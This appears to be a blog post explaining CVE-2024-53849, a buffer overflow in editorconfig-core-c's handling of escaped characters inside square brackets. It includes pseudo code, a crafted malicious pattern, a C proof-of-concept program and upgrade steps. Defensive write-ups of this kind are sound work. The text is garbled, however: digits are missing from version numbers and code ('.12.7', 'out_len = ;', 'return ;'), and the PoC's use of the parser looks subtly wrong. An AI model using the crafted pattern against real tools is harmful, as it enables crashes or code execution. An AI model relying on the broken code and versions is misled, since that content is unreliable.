editorconfig-core-c is a main C implementation of the popular EditorConfig file format parser, powering many editors and tools for maintaining consistent coding styles. A newly disclosed vulnerability, tracked as CVE-2024-53849, exposes users to a buffer overflow issue when processing certain malicious patterns, especially those containing a large number of escaped characters inside character selection brackets. This post gives a simple but deep look at the bug, shows how a proof-of-concept exploit could work, and points you to fixes and more info.

What is CVE-2024-53849?

The EditorConfig core library in C (editorconfig-core-c), before version .12.7, has a bug when handling patterns with complex or large numbers of escaped characters inside [ ] (square brackets). This commonly happens when plugins or tools read .editorconfig files with custom rules.

When such a pattern is parsed, the internal code may add extra backslashes for escaping. If there are too many, the buffer designed to hold the parsed pattern might not be big enough—leading to a classic buffer overflow.

The flaw occurs in the case handling the [ character in the library's pattern parsing switch statement.

There are no workarounds—the only solution is to upgrade to version .12.7 or later.

Let's look at a simplified code path based on the logic affected

// Pseudo code for pattern matching
char output[MAX_PATTERN];
size_t out_len = ;
for (size_t i = ; i < input_len; ++i) {
    switch (input[i]) {
        case '[':
            // handle nested brackets, escape some characters
            while (input[i] != ']' && i < input_len) {
                if (should_escape(input[i])) {
                    output[out_len++] = '\\'; // inserts backslash
                }
                output[out_len++] = input[i++];
            }
            output[out_len++] = ']';
            break;
        // ... other cases
    }
}

If someone crafts a pattern like

[\\a\\b\\c\\d\\e\\f\\g\\h\\i\\j\\k\\l\\m\\n\\o\\p\\q\\r\\s\\t]

the parser keeps inserting extra backslash characters for each intended escape. If the number of characters gets large, the running sum out_len can exceed MAX_PATTERN, triggering a buffer overflow and, possibly, arbitrary code execution or a crash.

Here's a minimal example of a malicious pattern

[\\a\\b\\c\\d\\e\\f\\g\\h\\i\\j\\k\\l\\m\\n\\o\\p\\q\\r\\s\\t\\u\\v\\w\\x\\y\\z]

That produces a much longer output than the input buffer expects, due to the \\ for each character. If you expand on this, especially with nesting brackets, you can reliably cause an overflow in all affected versions.

A simple test program

#include <stdio.h>
#include "editorconfig/editorconfig.h"

int main(int argc, char *argv[]) {
    char *pattern = "[\\a\\b\\c\\d\\e\\f\\g\\h\\i\\j\\k\\l\\m\\n\\o\\p\\q\\r\\s\\t\\u\\v\\w\\x\\y\\z]";
    editorconfig_handle_t handle;
    editorconfig_parse(pattern, &handle); // This should trigger buffer overflow on vulnerable versions!
    printf("Done parsing pattern!\n");
    return ;
}

Note: You may need the full build environment for editorconfig-core-c to compile this.

Affected: editorconfig-core-c all versions prior to .12.7

- Impact: Buffer overflow; possible crashes, unpredictable behavior, or remote code execution by tricking users or tools into parsing malicious .editorconfig files.

If using as a system package

sudo apt update
sudo apt install editorconfig-core-c

Or, if building from source

git clone https://github.com/editorconfig/editorconfig-core-c
cd editorconfig-core-c
git checkout v.12.7
make && sudo make install

If you’re a plugin developer, ensure you’re linking against a safe version of the core library.

References & Further Reading

- Upstream Security Advisory (GitHub)
- CVE Details for CVE-2024-53849
- Release Notes for .12.7
- What is EditorConfig? (Official Site)

Conclusion

CVE-2024-53849 is a serious vulnerability because it’s easy to trigger and impacts any tool or plugin using editorconfig-core-c for pattern parsing. Make sure all your development environments, plugins, and build tools that use this library are updated to v.12.7 or later, as no user mitigations exist. If you’re a developer, audit your dependencies today to stay safe!


*This article is unique to our site. Please share with colleagues using EditorConfig in their toolchains.*

Timeline

Published on: 11/27/2024 00:15:18 UTC